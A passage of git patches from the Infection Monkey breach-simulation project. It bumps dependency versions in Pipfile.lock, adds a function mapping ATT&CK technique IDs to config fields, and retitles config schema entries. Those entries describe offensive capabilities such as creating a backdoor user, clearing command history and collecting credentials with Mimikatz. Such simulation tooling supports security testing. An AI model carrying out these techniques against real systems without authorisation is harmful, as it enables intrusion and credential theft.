b/monkey/infection_monkey/Pipfile.lock index 51510f2e0..94738759c 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "e4052afd20556222b3cf8266aeca93f39568da6d1219b108b79070fa198ad908" + "sha256": "1e81422db7aad7fd36a441f2c81debddd23b214788cf11954067bc7f69cd0ebc" }, "pipfile-spec": 6, "requires": { @@ -69,19 +69,19 @@ }, "boto3": { "hashes": [ - "sha256:3a270f002818703d5f2eef5296c2fd8b44ef21a3f3290a716ec2202da8dd464e", - "sha256:8bc3211a7d7767c2c72ae9b226edb5eec5bb96989c83696832b8a5c35feb356a" + "sha256:68ee81a7ef40380a5ab973e242bbf8739d56a49f8691508c48760fb5066933e3", + "sha256:c2fd29e53464e4ab79c224363c20a02af19f7ecc8baf37f7886a893fc672272a" ], "markers": "python_version >= '3.6'", - "version": "==1.18.44" + "version": "==1.18.45" }, "botocore": { "hashes": [ - "sha256:2e134c9f799015e448086ed2b809fe50cc776f6600f093d1a44772288e61260f", - "sha256:c7640cb49c0e009bea4ad767715acbe0d305b7007235f52422bf31b5d23be8f1" + "sha256:1d31e461dfc9ddb9a86fdd47ebc61751adc8739b4f7160c687c04092e5fbe0aa", + "sha256:b3a77dcc7d54a3725aa0a9b44e4a79142a013584cd0568750a9ee9ab6970538f" ], "markers": "python_version >= '3.6'", - "version": "==1.21.44" + "version": "==1.21.45" }, "certifi": { "hashes": [ @@ -189,14 +189,6 @@ "markers": "python_version >= '3.6'", "version": "==8.0.1" }, - "colorama": { - "hashes": [ - "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", - "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" - ], - "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", - "version": "==0.4.4" - }, "coloredlogs": { "hashes": [ "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", @@ -843,15 +835,6 @@ "index": "pypi", "version": "==0.3.12" }, - "pyreadline": { - "hashes": [ - "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", - "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", - "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" - ], - "markers": "python_version < '3.8' and sys_platform == 'win32'", - "version": "==2.1" - }, "pysmb": { "hashes": [ "sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287" @@ -879,22 +862,6 @@ ], "version": "==2021.1" }, - "pywin32": { - "hashes": [ - "sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe", - "sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf", - "sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17", - "sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96", - "sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7", - "sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72", - "sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b", - "sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0", - "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78", - "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a" - ], - "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", - "version": "==301" - }, "requests": { "hashes": [ "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", @@ -1008,11 +975,11 @@ }, "urllib3": { "hashes": [ - "sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc", - "sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc" + "sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c", + "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" ], "index": "pypi", - "version": "==1.25.8" + "version": "==1.26.5" }, "wcwidth": { "hashes": [ @@ -1042,7 +1009,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "platform_system == 'Windows'", + "markers": "python_version >= '3.6'", "version": "==0.0.9" }, "winsys-3.x": { @@ -1057,7 +1024,6 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], - "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, From 71d0cccdba517779efd933eb23a48efbd2e9deca Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 21 Sep 2021 13:02:01 +0200 Subject: [PATCH 192/454] Island: Update boto3, botocore and awscli botocore is dependency of boto3 which is then dependency of awscli. --- monkey/monkey_island/Pipfile | 6 +- monkey/monkey_island/Pipfile.lock | 175 +++++++++++------------------- 2 files changed, 68 insertions(+), 113 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 65e11d03d..da0ea19d3 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -5,10 +5,10 @@ name = "pypi" [packages] pyinstaller = "==3.6" -awscli = "==1.18.131" +awscli = "==1.20.44" bcrypt = "==3.2.0" -boto3 = "==1.14.54" -botocore = "==1.17.54" +boto3 = "==1.18.44" +botocore = "==1.21.44" cffi = ">=1.8,!=1.11.3" dpath = ">=2.0.5" gevent = ">=20.9.0" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 832bce29c..4501a5cf5 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "65cd0e4a81a7cdcdbd72999baf948ec1cdafc7776e3c027ed347cdc02fa0556d" + "sha256": "9857728597cb9daa816ac6e5cf7a86ae1c86c8e56c68d8d0551f57845124a562" }, "pipfile-spec": 6, "requires": { @@ -54,11 +54,11 @@ }, "awscli": { "hashes": [ - "sha256:5dfdae33fc7c7b24c4beeaf8db7ca5ddec903d8b249578d1d0d4bd86c128d53d", - "sha256:a74b11681990a8572ba221af39aed887e6c84d4233dca3dcea134f28fd243e0b" + "sha256:1a1d878c4f2fa229f773befbedce977c4cf12554c8bd49b8d200640ce41dc033", + "sha256:5ca49a62bd18884c9161a42f393f3d1d142d4df57d87041eafe4353d20f66e64" ], "index": "pypi", - "version": "==1.18.131" + "version": "==1.20.44" }, "bcrypt": { "hashes": [ @@ -75,19 +75,19 @@ }, "boto3": { "hashes": [ - "sha256:4196b418598851ffd10cf9d1606694673cbfeca4ddf8b25d4e50addbd2fc60bf", - "sha256:69ad8f2184979e223e12ee3071674fdf910983cf9f4d6f34f7ec407b089064b5" + "sha256:3a270f002818703d5f2eef5296c2fd8b44ef21a3f3290a716ec2202da8dd464e", + "sha256:8bc3211a7d7767c2c72ae9b226edb5eec5bb96989c83696832b8a5c35feb356a" ], "index": "pypi", - "version": "==1.14.54" + "version": "==1.18.44" }, "botocore": { "hashes": [ - "sha256:6fe05837646447d61acdaf1e3401b92cd9309f00b19c577a50d0ade7735a3403", - "sha256:9e493a21e6a8d45c631eb2952ae8e1d0a31b9984546d4268ea10c0c33e2435ce" + "sha256:2e134c9f799015e448086ed2b809fe50cc776f6600f093d1a44772288e61260f", + "sha256:c7640cb49c0e009bea4ad767715acbe0d305b7007235f52422bf31b5d23be8f1" ], "index": "pypi", - "version": "==1.17.54" + "version": "==1.21.44" }, "certifi": { "hashes": [ @@ -192,7 +192,7 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==0.4.3" }, "coloredlogs": { @@ -209,6 +209,7 @@ "sha256:21ca464b3a4b8d8e86ba0ee5045e103a1fcfac3b39319727bc0fc58c09c6aff7", "sha256:34dae04a0dce5730d8eb7894eab617d8a70d0c97da76b905de9efb7128ad7085", "sha256:3520667fda779eb788ea00080124875be18f2d8f0848ec00733c0ec3bb8219fc", + "sha256:3c4129fc3fdc0fa8e40861b5ac0c673315b3c902bbdc05fc176764815b43dd1d", "sha256:3fa3a7ccf96e826affdf1a0a9432be74dc73423125c8f96a909e3835a5ef194a", "sha256:5b0fbfae7ff7febdb74b574055c7466da334a5371f253732d7e2e7525d570498", "sha256:695104a9223a7239d155d7627ad912953b540929ef97ae0c34c7b8bf30857e89", @@ -275,13 +276,6 @@ "index": "pypi", "version": "==0.3.9" }, - "future": { - "hashes": [ - "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" - ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.18.2" - }, "gevent": { "hashes": [ "sha256:02d1e8ca227d0ab0b7917fd7e411f9a534475e0a41fb6f434e9264b20155201a", @@ -591,13 +585,6 @@ "index": "pypi", "version": "==0.11.0" }, - "pefile": { - "hashes": [ - "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" - ], - "markers": "python_version >= '3.6'", - "version": "==2021.9.3" - }, "policyuniverse": { "hashes": [ "sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d", @@ -806,15 +793,6 @@ ], "version": "==3.12.0" }, - "pyreadline": { - "hashes": [ - "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", - "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", - "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" - ], - "markers": "python_version < '3.8' and sys_platform == 'win32'", - "version": "==2.1" - }, "pyrsistent": { "hashes": [ "sha256:097b96f129dd36a8c9e33594e7ebb151b1515eb52cceb08474c10a5479e799f2", @@ -857,48 +835,40 @@ ], "version": "==2021.1" }, - "pywin32": { - "hashes": [ - "sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe", - "sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf", - "sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17", - "sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96", - "sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7", - "sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72", - "sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b", - "sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0", - "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78", - "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a" - ], - "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", - "version": "==301" - }, - "pywin32-ctypes": { - "hashes": [ - "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", - "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" - ], - "markers": "sys_platform == 'win32'", - "version": "==0.2.0" - }, "pyyaml": { "hashes": [ - "sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97", - "sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76", - "sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2", - "sha256:6034f55dab5fea9e53f436aa68fa3ace2634918e8b5994d82f3621c04ff5ed2e", - "sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648", - "sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf", - "sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f", - "sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2", - "sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee", - "sha256:ad9c67312c84def58f3c04504727ca879cb0013b2517c85a9a253f0cb6380c0a", - "sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d", - "sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c", - "sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a" + "sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf", + "sha256:0f5f5786c0e09baddcd8b4b45f20a7b5d61a7e7e99846e3c799b05c7c53fa696", + "sha256:129def1b7c1bf22faffd67b8f3724645203b79d8f4cc81f674654d9902cb4393", + "sha256:294db365efa064d00b8d1ef65d8ea2c3426ac366c0c4368d930bf1c5fb497f77", + "sha256:3b2b1824fe7112845700f815ff6a489360226a5609b96ec2190a45e62a9fc922", + "sha256:3bd0e463264cf257d1ffd2e40223b197271046d09dadf73a0fe82b9c1fc385a5", + "sha256:4465124ef1b18d9ace298060f4eccc64b0850899ac4ac53294547536533800c8", + "sha256:49d4cdd9065b9b6e206d0595fee27a96b5dd22618e7520c33204a4a3239d5b10", + "sha256:4e0583d24c881e14342eaf4ec5fbc97f934b999a6828693a99157fde912540cc", + "sha256:5accb17103e43963b80e6f837831f38d314a0495500067cb25afab2e8d7a4018", + "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e", + "sha256:6c78645d400265a062508ae399b60b8c167bf003db364ecb26dcab2bda048253", + "sha256:72a01f726a9c7851ca9bfad6fd09ca4e090a023c00945ea05ba1638c09dc3347", + "sha256:74c1485f7707cf707a7aef42ef6322b8f97921bd89be2ab6317fd782c2d53183", + "sha256:895f61ef02e8fed38159bb70f7e100e00f471eae2bc838cd0f4ebb21e28f8541", + "sha256:8c1be557ee92a20f184922c7b6424e8ab6691788e6d86137c5d93c1a6ec1b8fb", + "sha256:bb4191dfc9306777bc594117aee052446b3fa88737cd13b7188d0e7aa8162185", + "sha256:bfb51918d4ff3d77c1c856a9699f8492c612cde32fd3bcd344af9be34999bfdc", + "sha256:c20cfa2d49991c8b4147af39859b167664f2ad4561704ee74c1de03318e898db", + "sha256:cb333c16912324fd5f769fff6bc5de372e9e7a202247b48870bc251ed40239aa", + "sha256:d2d9808ea7b4af864f35ea216be506ecec180628aced0704e34aca0b040ffe46", + "sha256:d483ad4e639292c90170eb6f7783ad19490e7a8defb3e46f97dfe4bacae89122", + "sha256:dd5de0646207f053eb0d6c74ae45ba98c3395a571a2891858e87df7c9b9bd51b", + "sha256:e1d4970ea66be07ae37a3c2e48b5ec63f7ba6804bdddfdbd3cfd954d25a82e63", + "sha256:e4fac90784481d221a8e4b1162afa7c47ed953be40d31ab4629ae917510051df", + "sha256:fa5ae20527d8e831e8230cbffd9f8fe952815b2b7dae6ffec25318803a7528fc", + "sha256:fd7f6999a8070df521b6384004ef42833b9bd62cfee11a09bda1079b4b704247", + "sha256:fdc842473cd33f45ff6bce46aea678a54e3d21f1b61a7750ce3c498eedfe25d6", + "sha256:fe69978f3f768926cfa37b867e3843918e012cf83f680806599ddce33c2c68b0" ], - "markers": "python_version != '3.4'", - "version": "==5.3.1" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==5.4.1" }, "requests": { "hashes": [ @@ -917,18 +887,19 @@ }, "rsa": { "hashes": [ - "sha256:35c5b5f6675ac02120036d97cf96f1fde4d49670543db2822ba5015e21a18032", - "sha256:4d409f5a7d78530a4a2062574c7bd80311bc3af29b364e293aa9b03eea77714f" + "sha256:78f9a9bf4e7be0c5ded4583326e7461e3a3c5aae24073648b4bdfa797d78c9d2", + "sha256:9d689e6ca1b3038bc82bf8d23e944b6b6037bc02301a574935b2dd946e0353b9" ], - "markers": "python_version != '3.4'", - "version": "==4.5" + "markers": "python_version >= '3.5' and python_version < '4'", + "version": "==4.7.2" }, "s3transfer": { "hashes": [ - "sha256:35627b86af8ff97e7ac27975fe0a98a312814b46c6333d8a6b889627bcd80994", - "sha256:efa5bd92a897b6a8d5c1383828dca3d52d0790e0756d49740563a3fb6ed03246" + "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c", + "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803" ], - "version": "==0.3.7" + "markers": "python_version >= '3.6'", + "version": "==0.5.0" }, "scoutsuite": { "git": "https://github.com/guardicode/ScoutSuite", @@ -1024,11 +995,11 @@ }, "tqdm": { "hashes": [ - "sha256:80aead664e6c1672c4ae20dc50e1cdc5e20eeff9b14aa23ecd426375b28be588", - "sha256:a4d6d112e507ef98513ac119ead1159d286deab17dffedd96921412c2d236ff5" + "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", + "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" ], "index": "pypi", - "version": "==4.62.2" + "version": "==4.62.3" }, "typing-extensions": { "hashes": [ @@ -1041,11 +1012,11 @@ }, "urllib3": { "hashes": [ - "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2", - "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e" + "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4", + "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f" ], - "markers": "python_version != '3.4'", - "version": "==1.25.11" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", + "version": "==1.26.6" }, "werkzeug": { "hashes": [ @@ -1149,14 +1120,6 @@ ], "version": "==1.4.4" }, - "atomicwrites": { - "hashes": [ - "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", - "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" - ], - "markers": "sys_platform == 'win32'", - "version": "==1.4.0" - }, "attrs": { "hashes": [ "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", @@ -1203,14 +1166,6 @@ "markers": "python_version >= '3.6'", "version": "==8.0.1" }, - "colorama": { - "hashes": [ - "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", - "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" - ], - "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", - "version": "==0.4.3" - }, "coverage": { "hashes": [ "sha256:004d1880bed2d97151facef49f08e255a20ceb6f9432df75f4eef018fdd5a78c", @@ -1271,10 +1226,10 @@ }, "distlib": { "hashes": [ - "sha256:106fef6dc37dd8c0e2c0a60d3fca3e77460a48907f335fa28420463a6f799736", - "sha256:23e223426b28491b1ced97dc3bbe183027419dfc7982b4fa2f05d5f3ff10711c" + "sha256:c8b54e8454e5bf6237cc84c20e8264c3e991e824ef27e8f1e81049867d861e31", + "sha256:d982d0751ff6eaaab5e2ec8e691d949ee80eddf01a62eaa96ddb11531fe16b05" ], - "version": "==0.3.2" + "version": "==0.3.3" }, "dlint": { "hashes": [ @@ -1560,11 +1515,11 @@ }, "urllib3": { "hashes": [ - "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2", - "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e" + "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4", + "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f" ], - "markers": "python_version != '3.4'", - "version": "==1.25.11" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", + "version": "==1.26.6" }, "virtualenv": { "hashes": [ From 26b07933310fd992476e6ea2ca017b877f7dbcfb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 15:53:52 +0530 Subject: [PATCH 193/454] island: Add code to create reverse schema i.e. each attack technique mapped to its config fields --- .../config_schema_per_attack_technique.py | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py new file mode 100644 index 000000000..b00c378f0 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -0,0 +1,48 @@ +from typing import Dict, List + +from monkey_island.cc.services.config_schema.config_schema import SCHEMA + + +def get_reverse_config_schema(): + return _get_config_schema_per_attack_technique() + + +def _get_config_schema_per_attack_technique() -> Dict[str, Dict[str, List[str]]]: + """ + :return: dictionary mapping each attack technique to relevant config fields; example - + { + "T1003": { + "System Info Collectors": [ + "Mimikatz collector", + "Azure credential collector" + ] + } + } + """ + reverse_schema = {} + + definitions = SCHEMA["definitions"] + for definition in definitions: + definition_type = definitions[definition]["title"] + for field in definitions[definition]["anyOf"]: + config_field = field["title"] + if "attack_techniques" in field: + for attack_technique in field["attack_techniques"]: + _add_config_field_to_reverse_schema( + definition_type, config_field, attack_technique, reverse_schema + ) + + return reverse_schema + + +def _add_config_field_to_reverse_schema( + definition_type: str, config_field: str, attack_technique: str, reverse_schema: Dict +) -> None: + if attack_technique in reverse_schema: + technique = reverse_schema[attack_technique] + if definition_type in technique: + technique[definition_type].append(config_field) + else: + technique[definition_type] = [config_field] + else: + reverse_schema[attack_technique] = {definition_type: [config_field]} From 836069ab117644a0070fba319d9bfd1e6d5d1d85 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 16:10:13 +0530 Subject: [PATCH 194/454] island: Change config schema definitions' titles to title case and so they make more sense --- .../definitions/exploiter_classes.py | 2 +- .../definitions/finger_classes.py | 16 +++++++------- .../definitions/post_breach_actions.py | 22 +++++++++---------- .../system_info_collector_classes.py | 12 +++++----- 4 files changed, 25 insertions(+), 27 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 9a7922a0f..981756bc7 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -1,7 +1,7 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN EXPLOITER_CLASSES = { - "title": "Exploit class", + "title": "Exploiters", "description": "Click on exploiter to get more information about it." + WARNING_SIGN + " Note that using unsafe exploits may cause crashes of the exploited " diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 2a617e011..6389f1b13 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -1,5 +1,5 @@ FINGER_CLASSES = { - "title": "Fingerprint class", + "title": "Fingerprinters", "description": "Fingerprint modules collect info about external services " "Infection Monkey scans.", "type": "string", @@ -7,7 +7,7 @@ FINGER_CLASSES = { { "type": "string", "enum": ["SMBFinger"], - "title": "SMBFinger", + "title": "SMB Fingerprinter", "safe": True, "info": "Figures out if SMB is running and what's the version of it.", "attack_techniques": ["T1210"], @@ -15,7 +15,7 @@ FINGER_CLASSES = { { "type": "string", "enum": ["SSHFinger"], - "title": "SSHFinger", + "title": "SSH Fingerprinter", "safe": True, "info": "Figures out if SSH is running.", "attack_techniques": ["T1210"], @@ -23,21 +23,21 @@ FINGER_CLASSES = { { "type": "string", "enum": ["PingScanner"], - "title": "PingScanner", + "title": "Ping Scanner", "safe": True, "info": "Tries to identify if host is alive and which OS it's running by ping scan.", }, { "type": "string", "enum": ["HTTPFinger"], - "title": "HTTPFinger", + "title": "HTTP Fingerprinter", "safe": True, "info": "Checks if host has HTTP/HTTPS ports open.", }, { "type": "string", "enum": ["MySQLFinger"], - "title": "MySQLFinger", + "title": "MySQL Fingerprinter", "safe": True, "info": "Checks if MySQL server is running and tries to get it's version.", "attack_techniques": ["T1210"], @@ -45,7 +45,7 @@ FINGER_CLASSES = { { "type": "string", "enum": ["MSSQLFinger"], - "title": "MSSQLFinger", + "title": "MSSQL Fingerprinter", "safe": True, "info": "Checks if Microsoft SQL service is running and tries to gather " "information about it.", @@ -54,7 +54,7 @@ FINGER_CLASSES = { { "type": "string", "enum": ["ElasticFinger"], - "title": "ElasticFinger", + "title": "Elastic Fingerprinter", "safe": True, "info": "Checks if ElasticSearch is running and attempts to find it's " "version.", "attack_techniques": ["T1210"], diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index be1aa802b..7d62ac36e 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -1,14 +1,13 @@ POST_BREACH_ACTIONS = { - "title": "Post breach actions", + "title": "Post-Breach Actions", "description": "Runs scripts/commands on infected machines. These actions safely simulate what " - "an adversary" - "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", + "an adversary might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", "type": "string", "anyOf": [ { "type": "string", "enum": ["CommunicateAsBackdoorUser"], - "title": "Communicate as backdoor user", + "title": "Communicate as Backdoor User", "safe": True, "info": "Attempts to create a new user, create HTTPS requests as that " "user and delete the user " @@ -18,7 +17,7 @@ POST_BREACH_ACTIONS = { { "type": "string", "enum": ["ModifyShellStartupFiles"], - "title": "Modify shell startup files", + "title": "Modify Shell Startup Files", "safe": True, "info": "Attempts to modify shell startup files, like ~/.profile, " "~/.bashrc, ~/.bash_profile " @@ -29,7 +28,7 @@ POST_BREACH_ACTIONS = { { "type": "string", "enum": ["HiddenFiles"], - "title": "Hidden files and directories", + "title": "Hidden Files and Directories", "safe": True, "info": "Attempts to create a hidden file and remove it afterward.", "attack_techniques": ["T1158"], @@ -37,11 +36,10 @@ POST_BREACH_ACTIONS = { { "type": "string", "enum": ["TrapCommand"], - "title": "Trap", + "title": "Trap Command", "safe": True, "info": "On Linux systems, attempts to trap a terminate signal in order " - "to execute a command " - "upon receiving that signal. Removes the trap afterwards.", + "to execute a command upon receiving that signal. Removes the trap afterwards.", "attack_techniques": ["T1154"], }, { @@ -57,7 +55,7 @@ POST_BREACH_ACTIONS = { { "type": "string", "enum": ["ScheduleJobs"], - "title": "Job scheduling", + "title": "Job Scheduling", "safe": True, "info": "Attempts to create a scheduled job on the system and remove it.", "attack_techniques": ["T1168", "T1053"], @@ -74,7 +72,7 @@ POST_BREACH_ACTIONS = { { "type": "string", "enum": ["SignedScriptProxyExecution"], - "title": "Signed script proxy execution", + "title": "Signed Script Proxy Execution", "safe": False, "info": "On Windows systems, attempts to execute an arbitrary file " "with the help of a pre-existing signed script.", @@ -91,7 +89,7 @@ POST_BREACH_ACTIONS = { { "type": "string", "enum": ["ClearCommandHistory"], - "title": "Clear command history", + "title": "Clear Command History", "safe": False, "info": "Attempts to clear the command history.", "attack_techniques": ["T1146"], diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 9a4a39050..072640352 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -15,7 +15,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [ENVIRONMENT_COLLECTOR], - "title": "Environment collector", + "title": "Environment Collector", "safe": True, "info": "Collects information about machine's environment (on " "premise/GCP/AWS).", "attack_techniques": ["T1082"], @@ -23,7 +23,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [MIMIKATZ_COLLECTOR], - "title": "Mimikatz collector", + "title": "Mimikatz Collector", "safe": True, "info": "Collects credentials from Windows credential manager.", "attack_techniques": ["T1003", "T1005"], @@ -31,7 